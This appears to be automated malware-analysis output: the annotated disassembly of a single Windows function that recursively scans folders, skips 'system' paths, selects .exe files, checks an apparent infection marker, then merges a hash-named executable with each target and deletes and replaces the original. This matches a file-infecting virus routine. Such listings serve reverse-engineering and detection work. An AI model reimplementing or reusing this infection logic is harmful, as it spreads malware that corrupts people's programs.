Function at 0x4014b8
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9ac
push ebx
push esi
push edi
lea edi, [ebp - 0x9ac]
mov ecx, 0x26b
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov esi, esp
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.004021c8
push dword [ebp + 8]
push str._s.
lea eax, [ebp - 0x108]
push eax
call fcn.004028f8
add esp, 0xc
mov esi, esp
lea eax, [ebp - 0x250]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp esi, esp
call fcn.004021c8
mov dword [ebp - 0x25c], eax
push dword [ebp + 8]
push 0x40d2b0
lea eax, [ebp - 0x108]
push eax
call fcn.004028f8
add esp, 0xc
cmp dword [ebp - 0x25c], 0xffffffff
je 0x4018e8
push 0x40d2ac
lea eax, [ebp - 0x224]
push eax
call fcn.00402870
pop ecx
pop ecx
test eax, eax
je 0x4018c4
push 0x40d2a8
lea eax, [ebp - 0x224]
push eax
call fcn.00402870
pop ecx
pop ecx
test eax, eax
je 0x4018c4
mov eax, dword [ebp - 0x250]
and eax, 0x10
je 0x401621
lea eax, [ebp - 0x224]
push eax
push dword [ebp + 8]
push str._s_s_
lea eax, [ebp - 0x108]
push eax
call fcn.004028f8
add esp, 0x10
push str.system
lea eax, [ebp - 0x108]
push eax
call fcn.004027e0
pop ecx
pop ecx
test eax, eax
jne 0x4015cc
lea eax, [ebp - 0x108]
push eax
call fcn.004014b8
pop ecx
lea eax, [ebp - 0x108]
push eax
call fcn.00402750
pop ecx
dec eax
dec eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0
jle 0x40161c
mov eax, dword [ebp - 0x268]
movsx eax, byte [ebp + eax - 0x108]
cmp eax, 0x2f
jne 0x40160d
mov eax, dword [ebp - 0x268]
mov byte [ebp + eax - 0x107], 0
jmp 0x40161c
mov eax, dword [ebp - 0x268]
dec eax
mov dword [ebp - 0x268], eax
jmp 0x4015e1
jmp 0x4018c4
lea eax, [ebp - 0x224]
push eax
call fcn.00402750
pop ecx
mov dword [ebp - 0x274], eax
push 0x40d28c
lea eax, [ebp - 0x224]
push eax
call fcn.004027e0
pop ecx
pop ecx
test eax, eax
jne 0x4018c4
fld1
push ecx
fstp dword [esp]
fldz
push ecx
fstp dword [esp]
call fcn.0040131a
pop ecx
pop ecx
fcomp dword [0x40d288]
fnstsw ax
test ah, 5
jp 0x4018c4
mov eax, dword [ebp - 0x274]
movsx eax, byte [ebp + eax - 0x228]
cmp eax, 0x2e
jne 0x4018c4
mov eax, dword [ebp - 0x274]
movsx eax, byte [ebp + eax - 0x227]
cmp eax, 0x65
jne 0x4018c4
mov eax, dword [ebp - 0x274]
movsx eax, byte [ebp + eax - 0x226]
cmp eax, 0x78
jne 0x4018c4
mov eax, dword [ebp - 0x274]
movsx eax, byte [ebp + eax - 0x225]
cmp eax, 0x65
jne 0x4018c4
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x108]
push eax
push str._s_s
lea eax, [ebp - 0x380]
push eax
call fcn.004028f8
add esp, 0x10
push 0x40d28c
lea eax, [ebp - 0x108]
push eax
push str._s_s
lea eax, [ebp - 0x48c]
push eax
call fcn.004028f8
add esp, 0x10
mov esi, esp
lea eax, [ebp - 0x380]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp esi, esp
call fcn.004021c8
cmp eax, 6
je 0x4018c4
push 0x40d278
lea eax, [ebp - 0x380]
push eax
call fcn.004025f6
pop ecx
pop ecx
mov dword [ebp - 0x498], eax
and dword [ebp - 0x4b0], 0
and dword [ebp - 0x8c4], 0
mov dword [ebp - 0x8d0], 0x3e8
mov dword [ebp - 0x4a4], 0xc350
and dword [ebp - 0x8dc], 0
push dword [ebp - 0x498]
push dword [ebp - 0x8d0]
push 1
lea eax, [ebp - 0x8b8]
push eax
call fcn.004024e3
add esp, 0x10
mov dword [ebp - 0x4b0], eax
cmp dword [ebp - 0x4b0], 0
je 0x401807
mov esi, esp
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.004021c8
mov eax, dword [ebp - 0x8dc]
inc eax
mov dword [ebp - 0x8dc], eax
movsx eax, byte [ebp - 0x8b8]
imul eax, dword [ebp - 0x8dc]
add eax, dword [ebp - 0x8c4]
mov dword [ebp - 0x8c4], eax
mov eax, dword [ebp - 0x4a4]
sub eax, dword [ebp - 0x4b0]
mov dword [ebp - 0x4a4], eax
mov eax, dword [ebp - 0x4a4]
cmp eax, dword [ebp - 0x8d0]
jge 0x401802
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0x8d0], eax
jmp 0x401772
push dword [ebp - 0x498]
call fcn.00402386
pop ecx
cmp dword [ebp - 0x8c4], 0xffffee5f
je 0x4018c4
push 0x40d27c
lea eax, [ebp - 0x48c]
push eax
call fcn.004025f6
pop ecx
pop ecx
mov dword [ebp - 0x8e8], eax
cmp dword [ebp - 0x8e8], 0
je 0x4018c4
push dword [ebp - 0x8e8]
push str.84738B8F_00909544_42D1C25ACDA42825C0B6427B70DA45380.exe
call fcn.004013ee
pop ecx
pop ecx
push dword [ebp - 0x8e8]
lea eax, [ebp - 0x380]
push eax
call fcn.004013ee
pop ecx
pop ecx
push dword [ebp - 0x8e8]
call fcn.00402694
pop ecx
push dword [ebp - 0x8e8]
call fcn.00402386
pop ecx
mov esi, esp
lea eax, [ebp - 0x380]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp esi, esp
call fcn.004021c8
lea eax, [ebp - 0x380]
push eax
lea eax, [ebp - 0x48c]
push eax
call fcn.00402609
pop ecx
pop ecx
mov esi, esp
lea eax, [ebp - 0x48c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp esi, esp
call fcn.004021c8
mov esi, esp
lea eax, [ebp - 0x250]
push eax
push dword [ebp - 0x25c]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
cmp esi, esp
call fcn.004021c8
test eax, eax
jne 0x401545
mov esi, esp
push dword [ebp - 0x25c]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp esi, esp
call fcn.004021c8
push edx
mov ecx, ebp
push eax
lea edx, [0x401920]
call fcn.004021eb
pop eax
pop edx
pop edi
pop esi
pop ebx
add esp, 0x9ac
cmp ebp, esp
call fcn.004021c8
leave
ret